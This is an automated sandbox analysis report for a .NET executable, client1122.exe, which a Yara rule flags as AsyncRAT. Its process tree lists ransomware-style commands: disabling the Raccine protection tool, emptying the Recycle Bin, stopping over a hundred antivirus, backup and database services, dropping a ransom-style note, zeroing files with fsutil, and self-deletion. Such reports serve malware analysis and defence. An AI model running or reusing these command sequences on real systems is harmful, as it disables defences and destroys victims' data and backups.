Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	May 12, 2021, 9:57 a.m.	May 12, 2021, 10:04 a.m.

Size	91.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`7bf8da9ae283c60e226852fee7ad3d94`
SHA256	`27ba35dbeb5324bd780ae6a95c5aae93fcb47c5aa8f48b1c21f83000a55de2da`
CRC32	`C6C7DA63`
ssdeep	`1536:16xb7zXiyZKQp5FlUeOFeFamwcjAb5JAn807SEzHa9CImZKaIa:16V7zXiyZKigT0lw5bu+19CImZvIa`
Yara	Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature IsPE32 - (no description)

client1122.exe "C:\Users\test22\AppData\Local\Temp\client1122.exe"
4748
- taskkill.exe "taskkill" /F /IM RaccineSettings.exe
  7960
- reg.exe "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  8800
- reg.exe "reg" delete HKCU\Software\Raccine /F
  4716
- schtasks.exe "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2848
- cmd.exe "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  6200
- cmd.exe "cmd.exe" /c rd /s /q D:\\$Recycle.bin
  4496
- sc.exe "sc.exe" config Dnscache start= auto
  4120
- sc.exe "sc.exe" config FDResPub start= auto
  8772
- sc.exe "sc.exe" config SQLTELEMETRY start= disabled
  6080
- netsh.exe "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  3180
- sc.exe "sc.exe" config SSDPSRV start= auto
  8248
- sc.exe "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  4104
- sc.exe "sc.exe" config SstpSvc start= disabled
  2736
- netsh.exe "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  7304
- sc.exe "sc.exe" config upnphost start= auto
  6688
- sc.exe "sc.exe" config SQLWriter start= disabled
  2000
- net.exe "net.exe" start Dnscache /y
  1596
  - net1.exe C:\Windows\system32\net1 start Dnscache /y
    8116
- net.exe "net.exe" start FDResPub /y
  4340
  - net1.exe C:\Windows\system32\net1 start FDResPub /y
    5228
- net.exe "net.exe" stop bedbg /y
  2300
  - net1.exe C:\Windows\system32\net1 stop bedbg /y
    4180
- net.exe "net.exe" stop MSSQL$SQL_2008 /y
  2308
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
    1808
- net.exe "net.exe" start SSDPSRV /y
  1536
  - net1.exe C:\Windows\system32\net1 start SSDPSRV /y
    3232
- net.exe "net.exe" stop avpsus /y
  5624
  - net1.exe C:\Windows\system32\net1 stop avpsus /y
    5376
- net.exe "net.exe" stop EhttpSrv /y
  4860
  - net1.exe C:\Windows\system32\net1 stop EhttpSrv /y
    3512
- net.exe "net.exe" start upnphost /y
  2488
  - net1.exe C:\Windows\system32\net1 start upnphost /y
    5800
- net.exe "net.exe" stop MSSQL$SQLEXPRESS /y
  7904
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
    8388
- net.exe "net.exe" stop McAfeeDLPAgentService /y
  108
  - net1.exe C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3052
- net.exe "net.exe" stop MMS /y
  8436
  - net1.exe C:\Windows\system32\net1 stop MMS /y
    7408
- net.exe "net.exe" stop mfewc /y
  1924
  - net1.exe C:\Windows\system32\net1 stop mfewc /y
    5468
- net.exe "net.exe" stop ekrn /y
  852
  - net1.exe C:\Windows\system32\net1 stop ekrn /y
    4896
- net.exe "net.exe" stop ccEvtMgr /y
  6276
  - net1.exe C:\Windows\system32\net1 stop ccEvtMgr /y
    2824
- net.exe "net.exe" stop mozyprobackup /y
  1936
  - net1.exe C:\Windows\system32\net1 stop mozyprobackup /y
    6628
- net.exe "net.exe" stop BMR Boot Service /y
  3440
  - net1.exe C:\Windows\system32\net1 stop BMR Boot Service /y
    5208
- net.exe "net.exe" stop MSSQL$TPS /y
  8796
  - net1.exe C:\Windows\system32\net1 stop MSSQL$TPS /y
    5544
- net.exe "net.exe" stop MSSQL$SYSTEM_BGC /y
  6672
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
    7696
- net.exe "net.exe" stop ccSetMgr /y
  2892
  - net1.exe C:\Windows\system32\net1 stop ccSetMgr /y
    6908
- net.exe "net.exe" stop EPSecurityService /y
  2304
  - net1.exe C:\Windows\system32\net1 stop EPSecurityService /y
    2996
- net.exe "net.exe" stop NetBackup BMR MTFTP Service /y
  5444
  - net1.exe C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3092
- net.exe "net.exe" stop EPUpdateService /y
  5200
  - net1.exe C:\Windows\system32\net1 stop EPUpdateService /y
    3764
- net.exe "net.exe" stop SavRoam /y
  8344
  - net1.exe C:\Windows\system32\net1 stop SavRoam /y
    3116
- net.exe "net.exe" stop DefWatch /y
  6716
  - net1.exe C:\Windows\system32\net1 stop DefWatch /y
    3792
- net.exe "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2072
  - net1.exe C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    8716
- net.exe "net.exe" stop ntrtscan /y
  4668
  - net1.exe C:\Windows\system32\net1 stop ntrtscan /y
    9072
- net.exe "net.exe" stop RTVscan /y
  7712
  - net1.exe C:\Windows\system32\net1 stop RTVscan /y
    4692
- net.exe "net.exe" stop QBFCService /y
  3988
  - net1.exe C:\Windows\system32\net1 stop QBFCService /y
    6828
- net.exe "net.exe" stop EsgShKernel /y
  6000
  - net1.exe C:\Windows\system32\net1 stop EsgShKernel /y
    7744
- net.exe "net.exe" stop MSSQL$TPSAMA /y
  2980
  - net1.exe C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
    240
- net.exe "net.exe" stop VSNAPVSS /y
  4056
  - net1.exe C:\Windows\system32\net1 stop VSNAPVSS /y
    2804
- net.exe "net.exe" stop QBIDPService /y
  8200
  - net1.exe C:\Windows\system32\net1 stop QBIDPService /y
    8260
- net.exe "net.exe" stop PDVFSService /y
  3336
  - net1.exe C:\Windows\system32\net1 stop PDVFSService /y
    5588
- net.exe "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  2752
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
    3572
- net.exe "net.exe" stop VeeamTransportSvc /y
  4424
  - net1.exe C:\Windows\system32\net1 stop VeeamTransportSvc /y
    6248
- net.exe "net.exe" stop Intuit.QuickBooks.FCS /y
  1048
  - net1.exe C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    1320
- net.exe "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  4352
  - net1.exe C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    4700
- net.exe "net.exe" stop KAVFS /y
  4880
  - net1.exe C:\Windows\system32\net1 stop KAVFS /y
    2676
- net.exe "net.exe" stop VeeamDeploymentService /y
  7040
  - net1.exe C:\Windows\system32\net1 stop VeeamDeploymentService /y
    7844
- net.exe "net.exe" stop QBCFMonitorService /y
  6016
  - net1.exe C:\Windows\system32\net1 stop QBCFMonitorService /y
    7020
- net.exe "net.exe" stop ESHASRV /y
  3504
  - net1.exe C:\Windows\system32\net1 stop ESHASRV /y
    3740
- net.exe "net.exe" stop SQLWriter /y
  7468
  - net1.exe C:\Windows\system32\net1 stop SQLWriter /y
    6416
- net.exe "net.exe" stop VeeamNFSSvc /y
  2588
  - net1.exe C:\Windows\system32\net1 stop VeeamNFSSvc /y
    2440
- net.exe "net.exe" stop BackupExecAgentBrowser /y
  7972
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3964
- net.exe "net.exe" stop YooBackup /y
  4304
  - net1.exe C:\Windows\system32\net1 stop YooBackup /y
    1052
- net.exe "net.exe" stop SDRSVC /y
  6484
  - net1.exe C:\Windows\system32\net1 stop SDRSVC /y
    8980
- net.exe "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2260
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
    6184
- net.exe "net.exe" stop veeam /y
  8292
  - net1.exe C:\Windows\system32\net1 stop veeam /y
    7388
- net.exe "net.exe" stop BackupExecDiveciMediaService /y
  8640
  - net1.exe C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    8548
- net.exe "net.exe" stop YooIT /y
  8220
  - net1.exe C:\Windows\system32\net1 stop YooIT /y
    7940
- net.exe "net.exe" stop MSSQL$VEEAMSQL2012 /y
  8552
  - net1.exe C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
    4772
- net.exe "net.exe" stop KAVFSGT /y
  1520
  - net1.exe C:\Windows\system32\net1 stop KAVFSGT /y
    7908
- net.exe "net.exe" stop PDVFSService /y
  8728
  - net1.exe C:\Windows\system32\net1 stop PDVFSService /y
    2508
- net.exe "net.exe" stop BackupExecJobEngine /y
  2120
  - net1.exe C:\Windows\system32\net1 stop BackupExecJobEngine /y
    4900
- net.exe "net.exe" stop zhudongfangyu /y
  6764
  - net1.exe C:\Windows\system32\net1 stop zhudongfangyu /y
    7524
- net.exe "net.exe" stop VeeamBackupSvc /y
  4780
  - net1.exe C:\Windows\system32\net1 stop VeeamBackupSvc /y
    5116
- net.exe "net.exe" stop FA_Scheduler /y
  8628
  - net1.exe C:\Windows\system32\net1 stop FA_Scheduler /y
    5012
- net.exe "net.exe" stop BackupExecVSSProvider /y
  2428
  - net1.exe C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3356
- net.exe "net.exe" stop stc_raw_agent /y
  5264
  - net1.exe C:\Windows\system32\net1 stop stc_raw_agent /y
    8644
- net.exe "net.exe" stop BackupExecManagementService /y
  3460
  - net1.exe C:\Windows\system32\net1 stop BackupExecManagementService /y
    3036
- net.exe "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  4640
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
    3328
- net.exe "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  8832
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
    4020
- net.exe "net.exe" stop BackupExecAgentAccelerator /y
  6876
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    1844
- net.exe "net.exe" stop BackupExecRPCService /y
  7424
  - net1.exe C:\Windows\system32\net1 stop BackupExecRPCService /y
    2092
- net.exe "net.exe" stop CASAD2DWebSvc /y
  3076
  - net1.exe C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    2384
- net.exe "net.exe" stop VeeamBrokerSvc /y
  9136
  - net1.exe C:\Windows\system32\net1 stop VeeamBrokerSvc /y
    7188
- net.exe "net.exe" stop ReportServer /y
  7284
  - net1.exe C:\Windows\system32\net1 stop ReportServer /y
    3636
- net.exe "net.exe" stop kavfsslp /y
  5520
  - net1.exe C:\Windows\system32\net1 stop kavfsslp /y
    5068
- net.exe "net.exe" stop AcrSch2Svc /y
  4808
  - net1.exe C:\Windows\system32\net1 stop AcrSch2Svc /y
    5700
- net.exe "net.exe" stop MSSQLServerADHelper /y
  6468
  - net1.exe C:\Windows\system32\net1 stop MSSQLServerADHelper /y
    3912
- net.exe "net.exe" stop AcronisAgent /y
  5336
  - net1.exe C:\Windows\system32\net1 stop AcronisAgent /y
    5232
- net.exe "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  7848
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
    5392
- net.exe "net.exe" stop “SQLsafe Backup Service” /y
  5268
  - net1.exe C:\Windows\system32\net1 stop “SQLsafe Backup Service” /y
    2104
- net.exe "net.exe" stop CAARCUpdateSvc /y
  5924
  - net1.exe C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    4796
- net.exe "net.exe" stop sophos /y
  4036
  - net1.exe C:\Windows\system32\net1 stop sophos /y
    5064
- net.exe "net.exe" stop UI0Detect /y
  7668
  - net1.exe C:\Windows\system32\net1 stop UI0Detect /y
    4296
- net.exe "net.exe" stop klnagent /y
  6920
  - net1.exe C:\Windows\system32\net1 stop klnagent /y
    3108
- net.exe "net.exe" stop MsDtsServer110 /y
  2464
  - net1.exe C:\Windows\system32\net1 stop MsDtsServer110 /y
    3276
- net.exe "net.exe" stop VeeamCatalogSvc /y
  6560
  - net1.exe C:\Windows\system32\net1 stop VeeamCatalogSvc /y
    7796
- net.exe "net.exe" stop “Acronis VSS Provider” /y
  8172
  - net1.exe C:\Windows\system32\net1 stop “Acronis VSS Provider” /y
    2272
- net.exe "net.exe" stop MSExchangeSA /y
  8972
  - net1.exe C:\Windows\system32\net1 stop MSExchangeSA /y
    1040
- net.exe "net.exe" stop VeeamHvIntegrationSvc /y
  8744
  - net1.exe C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
    8764
- net.exe "net.exe" stop McAfeeEngineService /y
  6700
  - net1.exe C:\Windows\system32\net1 stop McAfeeEngineService /y
    5184
- net.exe "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  2356
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
    6500
- net.exe "net.exe" stop POP3Svc /y
  4196
  - net1.exe C:\Windows\system32\net1 stop POP3Svc /y
    2664
- net.exe "net.exe" stop MsDtsServer /y
  8376
  - net1.exe C:\Windows\system32\net1 stop MsDtsServer /y
    5044
- net.exe "net.exe" stop “Sophos File Scanner Service” /y
  5712
  - net1.exe C:\Windows\system32\net1 stop “Sophos File Scanner Service” /y
    7732
- net.exe "net.exe" stop MSSQLServerADHelper100 /y
  5548
  - net1.exe C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3432
- net.exe "net.exe" stop macmnsvc /y
  8996
  - net1.exe C:\Windows\system32\net1 stop macmnsvc /y
    3228
- net.exe "net.exe" stop MSExchangeMGMT /y
  3156
  - net1.exe C:\Windows\system32\net1 stop MSExchangeMGMT /y
    2328
- net.exe "net.exe" stop ReportServer$TPS /y
  5536
  - net1.exe C:\Windows\system32\net1 stop ReportServer$TPS /y
    4024
- net.exe "net.exe" stop IISAdmin /y
  6424
  - net1.exe C:\Windows\system32\net1 stop IISAdmin /y
    5256
- net.exe "net.exe" stop McAfeeFramework /y
  3604
  - net1.exe C:\Windows\system32\net1 stop McAfeeFramework /y
    6116
- net.exe "net.exe" stop VeeamCloudSvc /y
  3384
  - net1.exe C:\Windows\system32\net1 stop VeeamCloudSvc /y
    4012
- net.exe "net.exe" stop “Veeam Backup Catalog Data Service” /y
  4016
  - net1.exe C:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y
    6420
- net.exe "net.exe" stop MSExchangeES /y
  8948
  - net1.exe C:\Windows\system32\net1 stop MSExchangeES /y
    7680
- net.exe "net.exe" stop “Sophos Clean Service” /y
  6148
  - net1.exe C:\Windows\system32\net1 stop “Sophos Clean Service” /y
    3632
- net.exe "net.exe" stop VeeamMountSvc /y
  1752
  - net1.exe C:\Windows\system32\net1 stop VeeamMountSvc /y
    5084
- net.exe "net.exe" stop MSSQLFDLauncher$TPS /y
  6636
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
    5672
- net.exe "net.exe" stop SMTPSvc /y
  6660
  - net1.exe C:\Windows\system32\net1 stop SMTPSvc /y
    3436
- net.exe "net.exe" stop MSOLAP$SYSTEM_BGC /y
  2644
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
    2608
- net.exe "net.exe" stop “Sophos Agent” /y
  6188
  - net1.exe C:\Windows\system32\net1 stop “Sophos Agent” /y
    8692
- net.exe "net.exe" stop MSSQLServerOLAPService /y
  2264
  - net1.exe C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
    5328
- net.exe "net.exe" stop masvc /y
  4560
  - net1.exe C:\Windows\system32\net1 stop masvc /y
    1920
- net.exe "net.exe" stop ReportServer$SQL_2008 /y
  8964
  - net1.exe C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
    8476
- net.exe "net.exe" stop W3Svc /y
  152
  - net1.exe C:\Windows\system32\net1 stop W3Svc /y
    7348
- net.exe "net.exe" stop EraserSvc11710 /y
  2140
  - net1.exe C:\Windows\system32\net1 stop EraserSvc11710 /y
    8872
- net.exe "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  7212
  - net1.exe C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
    2744
- net.exe "net.exe" stop VeeamDeploymentService /y
  2420
  - net1.exe C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3784
- net.exe "net.exe" stop MSExchangeSRS /y
  6656
  - net1.exe C:\Windows\system32\net1 stop MSExchangeSRS /y
    8048
- net.exe "net.exe" stop “SQLsafe Filter Service” /y
  5616
  - net1.exe C:\Windows\system32\net1 stop “SQLsafe Filter Service” /y
    8984
- net.exe "net.exe" stop “Enterprise Client Service” /y
  8748
  - net1.exe C:\Windows\system32\net1 stop “Enterprise Client Service” /y
    8544
- net.exe "net.exe" stop VeeamNFSSvc /y
  5696
  - net1.exe C:\Windows\system32\net1 stop VeeamNFSSvc /y
    988
- net.exe "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  5212
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
    1292
- net.exe "net.exe" stop “Sophos Health Service” /y
  8252
  - net1.exe C:\Windows\system32\net1 stop “Sophos Health Service” /y
    6476
- net.exe "net.exe" stop msftesql$PROD /y
  8508
  - net1.exe C:\Windows\system32\net1 stop msftesql$PROD /y
    1684
- net.exe "net.exe" stop “SQL Backups /y
  9052
  - net1.exe C:\Windows\system32\net1 stop “SQL Backups /y
    1304
- net.exe "net.exe" stop MBAMService /y
  4904
  - net1.exe C:\Windows\system32\net1 stop MBAMService /y
    7356
- net.exe "net.exe" stop MySQL57 /y
  8372
  - net1.exe C:\Windows\system32\net1 stop MySQL57 /y
    3936
- net.exe "net.exe" stop ReportServer$TPSAMA /y
  3924
  - net1.exe C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
    6988
- net.exe "net.exe" stop SstpSvc /y
  1712
  - net1.exe C:\Windows\system32\net1 stop SstpSvc /y
    8168
- net.exe "net.exe" stop MsDtsServer100 /y
  7008
  - net1.exe C:\Windows\system32\net1 stop MsDtsServer100 /y
    6696
- net.exe "net.exe" stop VeeamDeploySvc /y
  6588
  - net1.exe C:\Windows\system32\net1 stop VeeamDeploySvc /y
    7824
- net.exe "net.exe" stop McShield /y
  1744
  - net1.exe C:\Windows\system32\net1 stop McShield /y
    5280
- net.exe "net.exe" stop “Zoolz 2 Service” /y
  1816
  - net1.exe C:\Windows\system32\net1 stop “Zoolz 2 Service” /y
    6596
- net.exe "net.exe" stop NetMsmqActivator /y
  6472
  - net1.exe C:\Windows\system32\net1 stop NetMsmqActivator /y
    6804
- net.exe "net.exe" stop MSExchangeMTA /y
  5752
  - net1.exe C:\Windows\system32\net1 stop MSExchangeMTA /y
    7728
- net.exe "net.exe" stop VeeamRESTSvc /y
  6900
  - net1.exe C:\Windows\system32\net1 stop VeeamRESTSvc /y
    7800
- net.exe "net.exe" stop MSOLAP$TPS /y
  8776
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$TPS /y
    2868
- net.exe "net.exe" stop MSSQLSERVER /y
  9156
  - net1.exe C:\Windows\system32\net1 stop MSSQLSERVER /y
    6112
- net.exe "net.exe" stop “Sophos Device Control Service” /y
  6544
  - net1.exe C:\Windows\system32\net1 stop “Sophos Device Control Service” /y
    6888
- net.exe "net.exe" stop MySQL80 /y
  2460
  - net1.exe C:\Windows\system32\net1 stop MySQL80 /y
    1896
- net.exe "net.exe" stop MSExchangeIS /y
  7880
  - net1.exe C:\Windows\system32\net1 stop MSExchangeIS /y
    6064
- net.exe "net.exe" stop MBEndpointAgent /y
  4696
  - net1.exe C:\Windows\system32\net1 stop MBEndpointAgent /y
    8196
- net.exe "net.exe" stop “aphidmonitorservice” /y
  8108
  - net1.exe C:\Windows\system32\net1 stop “aphidmonitorservice” /y
    4156
- net.exe "net.exe" stop ReportServer$SYSTEM_BGC /y
  6340
  - net1.exe C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
    6048
- net.exe "net.exe" stop VeeamEnterpriseManagerSvc /y
  6832
  - net1.exe C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
    5584
- net.exe "net.exe" stop McTaskManager /y
  3940
  - net1.exe C:\Windows\system32\net1 stop McTaskManager /y
    5684
- net.exe "net.exe" stop “Sophos AutoUpdate Service” /y
  2436
  - net1.exe C:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y
    5620
- net.exe "net.exe" stop msexchangeadtopology /y
  5828
  - net1.exe C:\Windows\system32\net1 stop msexchangeadtopology /y
    8140
- net.exe "net.exe" stop “Symantec System Recovery” /y
  2748
  - net1.exe C:\Windows\system32\net1 stop “Symantec System Recovery” /y
    7236
- net.exe "net.exe" stop mfefire /y
  8524
  - net1.exe C:\Windows\system32\net1 stop mfefire /y
    2456
- net.exe "net.exe" stop VeeamTransportSvc /y
  584
  - net1.exe C:\Windows\system32\net1 stop VeeamTransportSvc /y
    6940
- net.exe "net.exe" stop “Sophos MCS Agent” /y
  5180
  - net1.exe C:\Windows\system32\net1 stop “Sophos MCS Agent” /y
    3828
- net.exe "net.exe" stop SamSs /y
  6296
  - net1.exe C:\Windows\system32\net1 stop SamSs /y
    1308
- net.exe "net.exe" stop MSOLAP$SQL_2008 /y
  4960
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
    1136
- net.exe "net.exe" stop wbengine /y
  3056
  - net1.exe C:\Windows\system32\net1 stop wbengine /y
    4788
- net.exe "net.exe" stop AcrSch2Svc /y
  8356
  - net1.exe C:\Windows\system32\net1 stop AcrSch2Svc /y
    4604
- net.exe "net.exe" stop OracleClientCache80 /y
  6076
  - net1.exe C:\Windows\system32\net1 stop OracleClientCache80 /y
    6788
- net.exe "net.exe" stop BackupExecAgentAccelerator /y
  200
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    6784
- net.exe "net.exe" stop BackupExecRPCService /y
  7700
  - net1.exe C:\Windows\system32\net1 stop BackupExecRPCService /y
    5552
- net.exe "net.exe" stop SQLAgent$PRACTTICEBGC /y
  2200
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
    6712
- net.exe "net.exe" stop ReportServer$SQL_2008 /y
  236
  - net1.exe C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
    8484
- net.exe "net.exe" stop MSOLAP$TPSAMA /y
  5968
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
    4876
- net.exe "net.exe" stop MSSQL$ECWDB2 /y
  4400
  - net1.exe C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
    3184
- net.exe "net.exe" stop SepMasterService /y
  7604
  - net1.exe C:\Windows\system32\net1 stop SepMasterService /y
    9152
- net.exe "net.exe" stop MSSQL$SBSMONITORING /
  4676
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /
    3340
- net.exe "net.exe" stop mfemms /y
  4520
  - net1.exe C:\Windows\system32\net1 stop mfemms /y
    6572
- net.exe "net.exe" stop “intel(r) proset monitoring service” /y
  8704
  - net1.exe C:\Windows\system32\net1 stop “intel(r) proset monitoring service” /y
    1004
- net.exe "net.exe" stop MSSQL$SBSMONITORING /y
  1640
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
    8092
- net.exe "net.exe" stop audioendpointbuilder /y
  6488
  - net1.exe C:\Windows\system32\net1 stop audioendpointbuilder /y
    2820
- net.exe "net.exe" stop SQLAgent$PRACTTICEMGT /y
  4512
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
    4100
- net.exe "net.exe" stop wbengine /y
  8904
  - net1.exe C:\Windows\system32\net1 stop wbengine /y
    8112
- net.exe "net.exe" stop msexchangeimap4 /y
  1500
  - net1.exe C:\Windows\system32\net1 stop msexchangeimap4 /y
    4420
- net.exe "net.exe" stop AVP /y
  920
  - net1.exe C:\Windows\system32\net1 stop AVP /y
    2164
- net.exe "net.exe" stop “Sophos Safestore Service” /y
  4184
  - net1.exe C:\Windows\system32\net1 stop “Sophos Safestore Service” /y
    6036
- net.exe "net.exe" stop ShMonitor /y
  6364
  - net1.exe C:\Windows\system32\net1 stop ShMonitor /y
    1240
- net.exe "net.exe" stop RESvc /y
  8604
  - net1.exe C:\Windows\system32\net1 stop RESvc /y
    6756
- net.exe "net.exe" stop “Sophos MCS Client” /y
  3032
  - net1.exe C:\Windows\system32\net1 stop “Sophos MCS Client” /y
    3404
- net.exe "net.exe" stop BackupExecVSSProvider /y
  2712
  - net1.exe C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    8976
- net.exe "net.exe" stop BackupExecAgentBrowser /y
  8952
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    6964
- net.exe "net.exe" stop SQLAgent$PROD /y
  3968
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PROD /y
    4508
- net.exe "net.exe" stop mfevtp /y
  6180
  - net1.exe C:\Windows\system32\net1 stop mfevtp /y
    6800
- net.exe "net.exe" stop ARSM /y
  1224
  - net1.exe C:\Windows\system32\net1 stop ARSM /y
    8288
- net.exe "net.exe" stop MSSQL$PRACTICEMGT /y
  2432
  - net1.exe C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
    7580
- net.exe "net.exe" stop MSSQL$SHAREPOINT /y
  5932
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
    6368
- net.exe "net.exe" stop sms_site_sql_backup /y
  8848
  - net1.exe C:\Windows\system32\net1 stop sms_site_sql_backup /y
    4928
- net.exe "net.exe" stop Smcinst /y
  4236
  - net1.exe C:\Windows\system32\net1 stop Smcinst /y
    7276
- net.exe "net.exe" stop MSSQL$BKUPEXEC /y
  2152
  - net1.exe C:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y
    1544
- net.exe "net.exe" stop DCAgent /y
  4976
  - net1.exe C:\Windows\system32\net1 stop DCAgent /y
    5532
- net.exe "net.exe" stop “Sophos System Protection Service” /y
  5348
  - net1.exe C:\Windows\system32\net1 stop “Sophos System Protection Service” /y
    1836
- net.exe "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  5204
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y
    4052
- net.exe "net.exe" stop SQLAgent$BKUPEXEC /y
  8600
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y
    8804
- net.exe "net.exe" stop unistoresvc_1af40a /y
  3856
  - net1.exe C:\Windows\system32\net1 stop unistoresvc_1af40a /y
    7804
- net.exe "net.exe" stop SQLAgent$SYSTEM_BGC /y
  2208
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y
    9368
- net.exe "net.exe" stop BackupExecDeviceMediaService /y
  5716
  - net1.exe C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
    9344
- net.exe "net.exe" stop SmcService /y
  4856
  - net1.exe C:\Windows\system32\net1 stop SmcService /y
    9500
- net.exe "net.exe" stop MSSQL$SOPHOS /y
  9228
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SOPHOS /y
    9680
- net.exe "net.exe" stop “Sophos Message Router” /y
  9308
  - net1.exe C:\Windows\system32\net1 stop “Sophos Message Router” /y
    9704
- net.exe "net.exe" stop swi_filter /y
  9424
  - net1.exe C:\Windows\system32\net1 stop swi_filter /y
    9796
- notepad.exe "C:\Windows\System32\notepad.exe" C:\Users\test22\Desktop\RESTORE_FILES_INFO.txt
  9468
- net.exe "net.exe" stop MSSQL$PRACTTICEBGC /y
  9564
  - net1.exe C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
    9924
- net.exe "net.exe" stop SQLAgent$SBSMONITORING /y
  9640
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
    10020
- net.exe "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  9780
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y
    10192
- net.exe "net.exe" stop SQLTELEMETRY /y
  9888
  - net1.exe C:\Windows\system32\net1 stop SQLTELEMETRY /y
    9320
- cmd.exe "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  10000
  - PING.EXE ping 127.0.0.7 -n 3
    9380
  - fsutil.exe fsutil file setZeroData offset=0 length=524288 “%s”
    8408
- net.exe "net.exe" stop SQLAgent$TPS /y
  10100
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$TPS /y
    9408
- cmd.exe "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\client1122.exe
  10128
  - choice.exe choice /C Y /N /D Y /T 3
    6508
explorer.exe C:\Windows\Explorer.EXE
1848

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
172.217.25.14	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (5 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 12, 2021, 9:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 12, 2021, 9:57 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 12, 2021, 9:57 a.m.	computer_name: TEST22-PC	1	1
